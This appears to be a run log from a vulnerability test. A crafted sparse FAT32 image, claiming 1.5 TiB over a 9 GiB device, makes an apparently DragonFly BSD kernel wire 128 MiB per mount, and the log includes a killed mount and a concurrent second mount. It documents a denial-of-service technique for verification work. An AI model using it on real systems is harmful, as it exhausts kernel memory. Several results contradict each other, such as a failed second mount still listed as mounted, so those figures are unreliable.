DF-3128 / run.log
=== DF-3128: baseline kernel msdosfs allocations ===
MSDOSFS_mount 1 1.00M 0 390M 20
MSDOSFS_FAT 0 0 0 390M 17
MSDOSFS_node 0 0 0 390M 12
=== craft the 9 GiB sparse image claiming a 1.5 TiB FAT32 volume ===
crafted /root/DF-3128a.img: 9 GiB sparse device, 1.5 TiB claimed FAT32 volume
pm_maxcluster will be 1073741823, pm_inusemap 128 MiB, FAT scan 1073741824 entries
-rw-r--r-- 1 root wheel 9663676416 Sep 6 22:26 /root/DF-3128a.img
0B /root/DF-3128a.img
=== attach (vn3 primary, vn1 for the concurrent second mount) ===
=== TEST 1: timed full mount (expect on stock DF: rc=0, ~38 s, 128 MiB wired) ===
mount rc=0, wall time 38s
--- statfs of the mounted 'volume' ---
/dev/vn3 536870912 1 536870911 0% /mnt/DF-3128a
--- kernel msdosfs allocations ---
MSDOSFS_mount 2 1.00M 0 390M 21
MSDOSFS_FAT 1 128M 0 390M 18
MSDOSFS_node 1 192 0 390M 13
=== TEST 2: SIGKILL the mount mid-scan (mount(2) runs ~38 s of kernel work) ===
SIGKILL sent to mount_msdos (pid 1302) at t=3s
interrupted-mount exit rc=137
--- mounts must be unchanged; allocations: one leaked pmp (MSDOSFS_mount) possible ---
/dev/vn3 on /mnt/DF-3128a (msdos, local)
/dev/vn1 on /mnt/DF-3128b (msdos, local)
MSDOSFS_mount 3 1.00M 0 390M 22
MSDOSFS_FAT 2 256M 0 390M 19
MSDOSFS_node 2 384 0 390M 14
=== TEST 3: second concurrent full mount doubles the wired footprint ===
mount2 rc=71, wall time 0s
/dev/vn3 536870912 1 536870911 0% /mnt/DF-3128a
/dev/vn1 536870912 1 536870911 0% /mnt/DF-3128b
MSDOSFS_mount 3 1.00M 0 390M 22
MSDOSFS_FAT 2 256M 0 390M 19
MSDOSFS_node 2 384 0 390M 14
=== cleanup ===
MSDOSFS_mount 1 1.00M 0 390M 22
MSDOSFS_FAT 0 0 0 390M 19
MSDOSFS_node 0 0 0 390M 14
=== DF-3128 verdict ===
VULNERABLE if TEST 1 shows mount rc=0 on a 1.5 TiB claim over a 9 GiB
device, df reporting ~536870912 1K-blocks, 'MSDOSFS FAT' memuse +128M
per mount, and TEST 3 doubling it (256M). FreeBSD = instant EINVAL.
RUN_RC=0